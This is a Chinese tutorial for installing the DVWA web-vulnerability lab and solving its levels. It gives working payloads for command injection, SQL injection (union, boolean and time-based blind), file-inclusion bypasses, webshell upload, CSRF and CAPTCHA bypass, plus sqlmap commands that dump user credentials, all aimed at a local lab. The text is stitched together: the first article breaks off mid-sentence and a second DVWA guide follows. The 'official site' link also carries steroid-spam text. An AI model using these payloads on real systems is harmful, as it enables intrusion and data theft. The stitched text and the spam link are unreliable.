DVWA的安装教程和通关详解

Posted 路baby

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DVWA的安装教程和通关详解相关的知识,希望对你有一定的参考价值。

DVWA的安装教程和通关详解

目录

一.环境搭建

1.下载和安装phpstudy

2.DVWA下载

3.DVWA安装

 更改配置信息

 解决爆红错误

二.Brute Force

1.LOW级别

2.Medium级别

3.High级别

三.Command Injection

1.Low级别

2.Medium级别

3.High级别

四.CSRF

1.Low级别

2.Medium级别

3.High级别

五.File Inclusion

1.Low级别

2.Medium级别

3.High级别

六.File Upload

1.Low级别

2.Medium级别

3.High级别

七.Insecure CAPTCHA

1.Low级别

2.Medium级别

八.SQL Injection

1.Low级别

2.Medium级别

3.High级别

九.SQL Injection(Blind)

1.Low级别

2.Medium级别

3.High级别

十.Weak Session IDS

1.Low级别

2.Medium级别

3.High级别

十一.XSS(DOM)

1.Low级别

2.Medium级别

3.High级别

十二.XSS(Reflected)

1.Low级别

2.Medium级别

3.High级别

十三.XSS(Stored)

1.Low级别

2.Medium级别

3.High级别

十四.CSP Bypass

加油各位( •̀ ω •́ )y 期待与君再相逢


DVWA是一款基于phpmysql开发的web靶场练习平台,集成了常见的Web漏洞。

一.环境搭建

1.下载和安装phpstudy

默认安装完成后,打开phpstudy界面如下:

 开启Apache和MySql两个服务,点击启动:

2.DVWA下载

打开DVWA官网:Buy Steroids Online UK - Anabolic Steroids For Sale UK,打开后滑动到页面下方,点击下载,如图:

3.DVWA安装

把下载好的DVWA的压缩包解压在之前安装PHPStudy文件夹下的WWW目录(先解压再复制到此目录也可以,注意 是把整个文件夹复制到此目录,而不是各个文件),如图:

 更改配置信息

 

到这里就需要更改一些配置信息了。

我们要找到DVWA-master 下面的config文件夹,

打开config.inc.php.dist文件,修改这里的默认密码 “p@ssw0rd” 为 “root”,默认账号“dvwa"为”root“保存,

然后还需要把config.inc.php.dist的后缀“.dist”删除,最后文件名就剩config.inc.php。如图:

之后保持phpstudy开启状态,随便进个浏览器,

地址栏输入:http://127.0.0.1/DVWA-master 进入配置安装界面。

标红的地方表示出现了环境或配置的问题。(这是正常现象,不用紧张)

需要下面我们逐一解决 — —

 解决爆红错误

第一个错误:表示没有开启PHP url_include模块。

解决方法:1)找到你PHPstudy的安装目录。

               2)进入Extensionsphp。

              3)找到所使用的php版本号所在文件夹,修改php.ini中的allow_url_include为On。4)然后保存,重启PHPstudy,错误得到解决。

第二个错误:表示缺少了验证码的key。

解决方法:编辑 dvwa/config/config.inc.php这个配置文件,找到以下代码把key填上就行了。

$_DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';

$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';

key也可以自己生成,地址是:https://www.google.com/recaptcha/admin/create

最后一个,点击最下面的那个“Create/Reset Database”按钮创建数据库,如果创建成功则表示如下结果,点击最下面的login进入登录界面。

 登录界面如下:默认用户名为admin,密码为password。

 登录成功,则显示如下界面,至此,DVWA靶场搭建成功。

 在dvwa security选项中,可以调整dvwa的难易程度,如图:

二.Brute Force

        Brute Force即为暴力破解,通过枚举获取管理员的账号和密码,在实际的操作中,一般用来破解后台管理系统的登录。

1.LOW级别

在该模块任意输入账号和密码,在burp中抓包

 抓到包后,右键send ro intruder

send to intruder在intruder的positions选择中,先点击clear$清除所有的变量。然后分别给username和password这两个字段后面的内容添加add$,添加变量并将attack type的值设置为cluster bomb

在payloads选择中分别给payload 1和payload 2设置字典路径

同理,选择第二个payload    

 然后点击右上方的start attack

 如上,开始枚举破解。通过length的长度判决即可

       红色部分为破解的密码,通过上面的破解,我们发现length的长度存在不一样,不一样的就是为破解成功的账号和密码。

2.Medium级别

    相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,",x1a)进行转义,把其中的字符串给过滤掉了,基本上能够抵御sql注入攻击,那低等级时候用到的注入就失效了,需要注意的是中级的暴力破解相对来说较慢是因为有个sleep函数,在破解失败后会使程序停止运行两秒。所以我们直接用爆破方法即可,和low级的一样(所以这里就不多演示一遍了)

3.High级别

High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。

在该模块任意输入账号和密码,用burp中抓包

发现多了一个token参数。将抓到的包发送到intrude

 选择攻击模式为pitchfock,并且给要破解的项带上美元符号

 设置参数,在option选项卡中将攻击线程thread设置为1

 因为Recursive_Grep模式不支持多线程攻击,然后选择Grep-Extract,意思是用于提取响应消息中的有用信息,点击Add,如下图进行设置,最后将Redirections设置为Always

      写上value=’  点击刷新相应信息   服务器返回的token选中(即value后面,表示每次从响应中获取该值)

 将这个token 值先记录下来

87a8523f6d96f38f4f22738f2297e61a

找到Redirections模块设置允许重定向,选择always

     设置密码本,点击payload,选择第一项的密码本与低等级的相同,第二项的时候选择Recursive grep 并且把之前得到的token值粘贴到下方的方框中

最后进行攻击破解。

三.Command Injection

命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻击手段。

常见的命令连接符如下:

command1 && command2    先执行command1后执行command2

command1 | command2       只执行command2

command1 & command2    先执行command2后执行command1

1.Low级别

在文本框里输入”192.168.0.1 && net user”,得到系统中所有的用户

发现乱码,乱码的解决方法:在DVWA-master\\dvwa\\includes目录下找到dvwaPage.inc.php文件中所有的"charset=utf-8",修改"charset=gb2312‘,即可

输入192.168.0.1 && net user,最终显示效果

2.Medium级别

代码审计

 可以看到,相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。

输入127.0.0.1 | dir

输入127.0.0.1 & ipconfig

3.High级别

    相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。黑名单看似过滤了所有的非法字符,但仔细观察到是把|(注意这里|后有一个空格)替换为空字符,于是 |成了“漏网之鱼”。

输入127.0.0.1|dir

四.CSRF

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

1.Low级别

我们第一次尝试两次密码不一致看看

 可以看到顶部的URL是:http://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new=1234&password_conf=1111&Change=Change#

很明显,这就是修改密码的链接

我们打开另一个页面,在顶部URL中自己输入如下的:

http://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#

可以看到,直接跳转到了密码成功的页面了,密码已经被修改。

2.Medium级别

Medium级别的代码在Low级别的基础上,加上了对用户请求头的中的Referer字段进行验证。即用户的请求头中的Referer字段必须包含了服务器的名字。当我们再打开另一个页面,在顶部URL中自己输入如下的URL时,

http://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

它会报错,提示你Http Referer字段没有定义索引(复制url到新建的页面)

 这次我们先正常的访问这个完整,然后用burpsuite进行抓包,如图可以看到Referer字段

然后,我们打开另一个页面,在顶部URL中自己输入如下的链接,用burpsuite进行抓包。   

http://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

可以看到,当我们直接打开另一个页面,直接输入URL的时候,请求包的头中并没有Referer字段,所以不能修改成功。

 那我们可以自己加一个Referer字段,然后值只要设置成包含了主机头127.0.0.1就行了

 可以看到,已经成功修改密码了

3.High级别

可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。这里因为对请求的token进行了验证,所以比上两个等级的更加的安全。

因为该请求是get请求,所以token验证会被放在请求URL中,我们随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token。

五.File Inclusion

文件包含:开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。

文件包含漏洞:开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。

文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含。

目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格

1.Low级别

low级别的代码对包含的文件没有进行任何的过滤!这导致我们可以进行包含任意的(远程、本地)文件。

输入:http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.php

 我们在\\vulnerabilities\\fi目录中创建一个测试文件test.txt,文件内容是“<?php system('ipconfig');?>”,通过文件包含漏洞可以直接查看到该文件内容。

 当我们包含一个不存在的文件 xixi.php ,看看会发生什么情况?可以看到,发生了报错,并且把网站的路径都给暴露出来了。

2.Medium级别

通过审核代码,可以看到,代码使用 str_replace函数 对http:// 和 https://进行了过滤,防止了远程包含漏洞的产生。但是使用 str_replace 函数进行过滤是很不安全的,因为可以使用双写绕过。例如,我们包含 hthttp://tp://xx 时,str_replace 函数只会过滤一个 http://  ,所以最终还是会包含到 http://xx 。

访问:http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=htthttp://p://127.0.0.1/phpinfo.php

3.High级别

high级别的代码对包含的文件名进行了限制,必须为 file* 或者 include.php ,否则会提示Error:File not  found。

于是,我们可以利用 file 协议进行绕过。例如:

http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=file:///D:\\phpStudy\\PHPTutorial\\WWW\\DVWA1\\vulnerabilities\\fi\\test.txt

六.File Upload

File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、nginx等都曝出过文件上传漏洞。

1.Low级别

通过代码审核,可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。这里三个条件全都满足。

制作一句话木马,文件格式为php:

 开始上传,上传成功后,会显示文件路径

接下来,实用菜刀或蚁剑拿Wehshell

2.Medium级别

        Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB),如果我们直接上传,会提示如下Your image was not uploaded. We can only accept JPEG or PNG images.可以看到,对上传的文件做出了要求,必须是jpg和png解决方法抓包修改文件类型即可。

所以我们创建一个1.jpg的文件,然后使用burp进行修改文件类型。

    

    上传成功。

3.High级别

High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。

思路:1)制作图片马。2)利用之前的文件包含漏洞配合菜刀或蚁剑连接刚刚上传成功的图片马。

       一句话地址:

http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=file:///D:\\phpStudy\\PHPTutorial\\WWW\\DVWA1\\hackable\\uploads\\3.jpg

七.Insecure CAPTCHA

1.Low级别

代码审核

 

符合POST请求里带Change、step是2的条件,就可以直接跳过第一步的验证码。

通过Burp代理,修改step=2,就可以绕过第一步,从而再利用CSRF漏洞成功修改密码。

使用burp抓包,将step=1改成2,就可成功绕过

2.Medium级别

查看服务器端核心代码可知,Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。

可以通过抓包,更改step参数,增加passed_captcha参数(passed_captcha=true)

改前:

改后:

 然后我们就成功的修改了密码,绕过了验证码

3.High级别

代码审核:

满足一下任一条件就可以去修改密码:

1)验证码为真 

2)g-recaptcha-response为hidd3n_valu3并且HTTP_USER_AGENT为reCAPTCHA。

3)很明显,第二条可以通过Burp来绕过验证码。

改前:

 改后:

 执行成功!

八.SQL Injection

QL注入是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。

手工注入一般思路:

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解SQL查询语句中的字段数
  3. 确定回显位置
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 得到数据

1.Low级别

选择SQL Injection,在输入框随意输入数字查看回显

判断是否存在SQL注入

 输入1提交

 输入1'提交

输入1 and 1=1 提交

输入1 and 1=2 提交

 由上可以看出是存在注入点的,并且是以单引号闭合的,

所以我们猜测sql查询语句是这样的:

Select  First name的列名and Surname的列名 from 表名 where id的列名='id'

判断列数

   1)输入1' order by 2# 提交

   1)输入1' order by 3# 提交

 

由此,我们判断列数为2列

UNION注入

1' union select 1,2#

 从上图可以看出有2个回显

查询当前的数据库及版本

输入 1' union select version(),database()#

 获取数据库中的表

1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#或者

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

获取表中的字段名

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

 获取字段中的数据

这里密码使用了MD5加密,可在https://www.cmd5.com/进行解密

 得到密码

 

2.Medium级别

中级加入了一些防御,,不让用户输入,只提供选择(可以用burpsuit抓包来绕过)

我们可以利用burp修改数据包,绕过防御。判断注入点,以及注入的类型。

 我们转到Repeater进行操作

根据low关卡知道存在SQL注入,这里就不多演示,我们从爆数据库开始。

1)查询当前的数据库及版本

1 union select version(),database()#

2)获取数据库中的表

1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#

3)获取表中的字段名,考虑到单引号被转义,可以利用16进制绕过。(‘user’)

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

 4)获取字段中的数据

1 union select user, password from users#

3.High级别

       可以看出,点击“here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制啦查询条数,可以通过burpsuit抓包,修改数据包实现绕过。

方法跟前面的差不多,这里就不多演示了,直接爆账号密码

1' union select user,password from users#

九.SQL Injection(Blind)

       SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示 页面上获取执行的结果,甚至连注入语句是否执行都无法得知。

      盲注的话,就像跟一个机器人聊天,但是这个机器人只会回答“是”与“不是”,因此,得从一个大的范围去问是与不是,然后慢慢的缩小范围,最后就是类似于问“数据库名字的第一个字是不是a啊”这样的问题,通过这种机械的询问,最终得到我们想要的数据。

盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注

盲注的一般步骤:

  1. 判断是否存在注入、注入是字符型还是数字型
  2. 猜解当前数据库名
  3. 猜解数据库中的表名
  4. 猜解表中的字段名
  5. 猜解数据

 

1.Low级别

 开始操作:

输入1显示存在

输入1 and 1=1 或 1 and 1=2均显示存在

输入1' and 1=1 #显示存在(这三种都显示存在)

输入1' and 1=2 #不存在

即知:存在字符型的盲注。

下面对其进行布尔盲注

1)查数据库前要先判断数据库的长度

  1. 依次输入1' and length(database())=x #(x为大于等于1的整数)
  2. 当显示存在时即为数据库长度
  3. 发现当x=4时显示存在,故数据库长度为4

2)二分法找数据库名

  • 依次输入1' and ascii(substr(databse(),1,1))>或<字母的ascii值#, 通过比较输入字母的ascii值的显示正常与否来逐个确定库名

  • 重复上述步骤,就可以得到完整的数据库名dvwa

3)查数据库中的表

  • 首先确定数据库中表的数量

       输入 1' and (select count (table_name) from information_schema.tables where table_schema=database())=x # (x为大于等于1的整数)

       当显示存在时即可判断表的数量

       最终当x=2显示存在即表的数量为2

  • 然后确定表的长度

       输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=x #(x为大于等于1的整数)

       当显示存在时即可判断表的长度

       当x=9显示存在即表的长度为9

  • 然后同样二分法确定表名

       输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>或<字母的ascii值 #

       通过比较输入字母的ascii值的显示正常与否来逐个确定表名

  • 重复上述步骤可得到出两个表名guestbook、users

4)找表中的字段

  • 首先找到字段的数量

       输入1' and (select count(column_name) from information_schema.columns where table_name= 'users')=x #

    当显示存在时即为字段数

    最后当x=8时显示存在即字段数users字段数为8

  • 然后找字段名

       输入1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=x #

       当x=7时显示存在即users表的第一个字段为7个字符长度

  • 最后也是二分法确定字段名

接下来对其进行时间盲注

       1)判断注入类型

           说明为字符型盲注

      2)找库名

  • 先确定库名长度

        库名长度为4

  • 然后通过二分法找库名

    重复上述步骤即可找到库名

3)找库中表名

  • 先确定表的数量

可以确定表的数量为2

  • 再确定表的长度

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #  没有延迟

……

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #   明显延迟

可以确定第一个表的长度为9

  • 最后二分法找到表名

4)找表中的字段

  • 先确定字段的数量

      可以确定users字段的数量为8

  • 然后依次确定字段名

1’ and if(length(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1))=1,sleep(5),1) #   没有延迟

1’ and if(length(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1))=7,sleep(5),1) #   明显延迟

说明users表的第一个字段长度为7

  • 最后再用二分法确定字段名

2.Medium级别

       可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\\x00,\\n,\\r,\\,’,”,\\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。可以通过过抓包来实现sql盲注。

3.High级别

      可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端

DVWA全级别通关教程

首先选择难度,我们从low开始,如上图所示进行修改 

目录

SQL手工注入

过程:

low

Medium

high

Impossible 

 SQL 盲注

过程:

SQL 工具注入

工具安装过程:

过程: 

low

Medium

High:

暴力破解

过程:

Low

Medium

High

Impossible

命令注入

过程:

Low

Medium

High:

Impossible

文件上传

过程:

Low

Medium

High

Impossible

XSS漏洞

过程:

Low(反射型)

Medium

High 

Impossible

Low(存储型)

Medium

High

Impossible

Low(DOM型)

High

Impossible

文件包含漏洞

过程:

Low

Medium

High

Impossible

CSRF漏洞

过程:

Low

Medium

High

Impossible

 


SQL手工注入

解释(来自百度):SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击

过程:

low

首先在表单中输入1,如上图正常结果显示

输入2如上图正常显示 

查看源代码可知这一关对于表单输入ID没有进行任何过滤 

 

注入点判断,如上图可知受到单引号闭合影响 

为了方便我们直接把SQL语句中后续语句全部注释掉不执行,在判断语句后加#或者--+即可,全部注释掉就可以不用考虑单双引号闭合的问题

语句1’ or 1=1#可以查出所有ID内容(为什么,可以自己学习逻辑语句的知识) 

找出注入点以及符号问题,然后判断字段(就是正常查询时可以显示用户的几条信息),通过1’ and 1=1 order by 1# 

1’ and 1=1 order by 2# 

1’ and 1=1 order by 3#//如果2是正确的的,3返回错误那么就有2个字段,2即为分界点

找出字段之后(找字段的作用是为了后续报错,看会有几个位置可以报错)

之后结合union联合查询(union的知识学习SQL语句相关知识) 

有两种语句1’ union select 1,2#   -1’ union select 1,2#(至于有什么区别,个人参照上图,只是页面更简洁,目前我也是小白在我目前的学习进度看来这两条语句在后续操作上没有任何区别,可能会有没有被我发现吧,能记住那个用哪个)

走到这一步就可以进行内容信息查询了

把查询语句中2的位置换成你要查询到内容,那么在返回结果上就在你替换掉的数字的位置上即可显示该信息。

顺序首先是数据库名,表名,列名,之后是具体信息(如上图以及下图,如果自己还想查别的信息,可以再去搜索相关的资料)

语句是-1’ union select 1,table_name from information_schema.tables where table_schema=’dvwa’#(dvwa是根据上一个图查出来的数据库名字)

也可以用group_concat把表名拼接起来 -1’ union select 1, group_concat(table_name) from information_schema.tables where table_schema=’dvwa’#

知识点:1.在MYSQL5.0以上版本中存在自带数据库information_schema,他是一个存储所有数据库名,表明,列名的数据库,相当于可以通过查询此库获得相应信息。(没有的话只能靠猜,暴力破解)

2.符号“.”代表下一级: Information_schema.tables:

Information_schema.columns:

查完表名,查列名,语句是-1’ union select  1, group_concat(column_names) from information_schema.columns where table_name=’users’# 

查完列名就可以查自己想查的东西了。

语句是:-1’ union select group_concat(user_id,first_name),group_concat(user,password) from users#

上图就是数据库表中信息了,密码是通过MD5加密,在网上搜索MD5解密工具线上解密就可以了。

一个简单的SQL手工注入就完成了

Medium

下面增加丢丢难度

首先是修改关卡

修改好了之后再次点开SQL注入,有人可能会出现如下图所示的错误(这个有人就是本人,但有的人很幸运没有,别怕,这都是小问题,只是因为你的PHP版本不对,那么怎么修改呢,我没有截图简单告诉你,打开PHPstudy你自然就会,修改完成后就可以打开了) 

正确的界面如下图所示 点开之后是不是吓到了,跟上一关不一样了不是提交表单了,那么我们的注入点怎么找,别慌,这时候就需要那个很牛的工具burpsuite,至于安装什么的,我的一个笔记里写过,你也可以找其他大佬写的文章来解决你的问题,安装完成后,就需要把burp和DVWA连接起来,首先你需要往浏览器导入一个东西(是你运行DVWA的浏览器),然后你需要打开burp,导入证书,设置代理很多东西,这些都设置完成以后很多人如果用127.0.0.1或者localhost这个地址登录的可能会出现依旧抓不到包的情况(因为我就是)这个时候就需要你把地址改成你自己的IP地址(莫?有人会不知道IP地址怎么查吗,那就是网络基础没学好,乖乖去找度娘吧)一切准备就绪,burp成功抓包

数据包中的内容想必大家也不陌生了,如果看不懂那么请你去认真学习HTTP,在数据包中会找到我们提交的ID,这里的ID的位置就是我们可以利用的注入位置,之后的步骤就跟上面一模一样,以下就是简单的演示。 

有人会在这一步可能会遇到这个问题,那么查看源代码会发现了一个转移函数,这个经典的函数想必大家略有耳闻,那么采用十六进制等绕过,把需要用到单双引号的词,用十六进制(在网上查)

 

 

 

 

 以上,就是中级SQL手工注入的全部步骤。

high

学到这儿了,相比对注入语句已经很熟悉了,那么我们开始下一关。

同之前一样,修改,进入。

跳转界面,在另一个界面输入注入语句。 

我们同样能查到内容,查看源代码会发现有limit限制只能输出一条,我们在这里用#注释掉后续内容,那么这一关的意义到底何在,主要是为了防止SQLmap注入,至于SQLmap的使用后续再说明。

Impossible 

分析源代码

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

参考内容:新手指南:DVWA-1.9全级别教程之SQL Injection - linuxsec - 博客园

 SQL 盲注

与一般注入的区别是,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高,目前网络上现存的SQL注入漏洞大多是SQL盲注。

基于布尔的盲注(怎么方便的理解这个概念呢,就是他只会告诉你是或不是,比如你猜版本是什么他只会告诉你是或不是这个版本),基于时间的盲注以及基于报错的盲注,在此只演示前两个。

过程:

(过程怎么说呢,只说明一下思路因为主要是猜,然后具体名字就是无数遍的二分法等算法猜)

一开始的步骤肯定驾轻就熟,直接开讲。思路上面已经很清楚了,那么首先先确定是字符型还是数字型注入。

如果不明白怎么去判断请参考:https://blog.csdn.net/qq_44798520/article/details/122453649

从上面看即使添加错误的逻辑语句仍然是正确的返回,那么开始猜解字符型。(至于怎么猜,把引号一个位置一个位置的放,总能猜出来)

 

以上就可以确定它是字符型。

确定完注入类型,就要开始猜解数据库名字

语句是1’ and length(database())=1#   

1’ and length(database())=2#   

1’ and length(database())=3#   

1’ and length(database())=4#  可以知道数据库名的长度是4,之前我们知道数据库名字是“dvwa”,所以长度是4(不要问为什么我知道,因为手工注入那一关就知道了,这里只是验证一下)

知道了长度,就得准备猜名字了,最麻烦的部分来了。

语句:1’ and ascii(substr(database(),1,1)>97#

那么上面这个句子什么意思,就是为了猜数据库名字,ASCII码想必大家都不陌生,不清楚的同学可以去查度娘,一句一句试。好了剩下的步骤想必大家也都明白了,盲注就是靠试。

上面讲述的是基于布尔的盲注,接下来简单说一下基于时间的盲注(同样是小白,造诣也不高)

结果不会延迟,说明不是数字型 

结果延迟五秒说明是字符型

接下来几个难度跟之前都是一样的,在此就不再说明(因为是真的懒,要猜的话得很久)

后面利用工具,没错就是著名的sqlmap工具给大家进行说明。

SQL 工具注入

工具安装过程:

接下来只给大家说过程,至于概念什么的直接百度吧。

没错接下来就是给大家介绍著名的注入工具sqlmap

首先,就开始安装这个工具

sqlmap使用python2编写的工具,所以大家先去官网下载python2 Welcome to Python.org

然后下载sqlmap 官网地址sqlmap: automatic SQL injection and database takeover tool

 

在此要注意,sqlmap要下载到python下面

 

下载完成,开始配置环境变量。首先要看清楚自己的安装地址。

此电脑->属性->高级系统设置->环境变量->Path

 

 

 

在Path里面添加如下两条语句。确定之后,至此全部配置完成,打开命令窗口,输入python查看信息

出现如图所示,证明你的安装没有问题。然后查看sqlmap的安装是否成功,首先语句进入sqlmap底下,如下图所示。

然后输入python sqlmap.py --version查看sqlmap的安装情况(在此提醒一下大家直接输入python就行,不用添加版本号,因为一开始我就是后面添加了版本号结果一直不对,我也不知道为什么查了好久,才解决了这个问题,当然本身没有这个问题最好),如下图所示,证明sqlmap安装成功。在此就可以开始利用工具进行注入,后面我们依然利用DVWA之前那个手工注入那一关作为实验环境。

过程: 

sqlmap相关命令的概念直接查百度,在这里直接引用

low

跟之前一样该打开什么打开什么,进入low

输入1之后,打开burpsuite抓包,或者直接打开浏览器开发者工具查看数据包情况。

 

 

抓包之后,输入python sqlmap.py -u “(url地址)”如图所示 

 

但最后出现了302重定向会返回登录页面,证明这个页面需要cookie,那么我们接下来就复制数据包中的cookie

 

在后面用 --cookie” ” 

输入成功之后,会出现下图所示

他会问你很多东西,可以直接在上面的语句后面再加一个 --batch默认回答,直接显示结果。

 

在上面这个图上面我们可以看到注入点的相关信息。

 

继续添加我们想知道的信息,比如可以查看数据库相关信息,添加语句--dbs(如上图所示,查看所有数据库名称)

 

继续添加--current-db即可查看该数据库名称(如上图所示)

 

继续添加命令 -D dvwa --tables(列出dvwa数据库中全部表名)

 

修改命令-D dvwa -T users --columns(如上图所示,列出user表中字段信息)

 

修改命令-D dvwa -T users -C user,password,user_id --dump(一般数据库中的信息都会加密,这个命令可以直接显示解密后的情况,并且会自动保存到本地)

 

结果如上图所示,显然已经达到了我们的目的。

Medium

接下来进入下一个级别

抓包结果如上图所示

之前手动注入,我们可以直接在这个里面添加语句进行注入,那么这块该怎么办呢。

我们把数据包复制,创建成一个文件,记住,记住,记住,千万记住(重要的事情说好几遍)一定要把这个文件放在sqlmap下面,不要问我为什么,因为新建文件的原理就是让工具读取文件,你已经进入sqlmap里面了,所以为了方便你当然得把文件建在sqlmap里面啊。

 

输入语句python.py -r 1.txt --batch(-r 就是读文件)

 

结果如上图所示,那么之后的步骤就跟之前一样一样的了。

High:

第三关跟之前的主要区别在于,是跨页面,同样抓包

抓包之后该怎么办呢,当然是把两个页面连接起来,输入命令-second-url“”后面这个地址是第一个页面的地址(前面的文件记得改成新抓的包)。

 

之后的命令也是跟之前是一样的。 

最后的结果如上图所示,在这里给大家说一下那个详细用户信息解密后自动下载到本地,上图打个地址根据自己的地址查找,是一个excel文件。

 

上面就是全部工具注入的步骤,大功告成。

暴力破解

什么是暴力破解(来自百度)暴力破解或称为穷举法,是一种针对于密码的破译方法,即将密码进行逐个推算直到找出真正的密码为止。例如一个已知是四位并且全部由数字组成的密码,其可能共有10000种组合,因此最多尝试10000次就能找到正确的密码。理论上利用这种方法可以破解任何一种密码,问题只在于如何缩短试误时间。有些人运用计算机来增加效率,有些人辅以字典来缩小密码组合的范围

过程:

Low

在表单内,随便填上东西,然后抓包,如上图所示。

 

然后发送到intruder。

 

需要哪个,选中哪个。

 

 

 

这个字典里面就是一些经常可能用到的弱口令(这个字典仅针对于这个关卡)

导入字典以后,对于数据很多的,我们可以考虑增加进程,如下图所示,把进程修改为10。

 

然后开始攻击。

如图我们可以看到攻击完成,那么怎么确定哪一个是正确的用户名密码,纵观全局我们会发现有一个特殊的长度数字,没错就是这个,那么在此我们便找出了我们所需要的东西,发送验证一下。

 

如上图所示,这一步骤全部完成。

至于attack type是什么个意思,接下来告诉你。

Attack type:攻击模式设置

Sniper:对变量一次进行破解,多个标记依次进行。(俗话简单来说就是,用户名和密码用的是一套字典,破解的时候也只是导入一个字典,但是它会根据先破解用户名,破解出来以后急需破解密码这样的顺序,对于简单的用户名密码字典数目少的可以考虑)

Battering ram:对变量同时进行破解,多个标记同时进行。(这个也是只有一个字典但区别是,可以同时进行,就是先破解用户名破解完了继续破解密码,相比遇上一个速度更快)

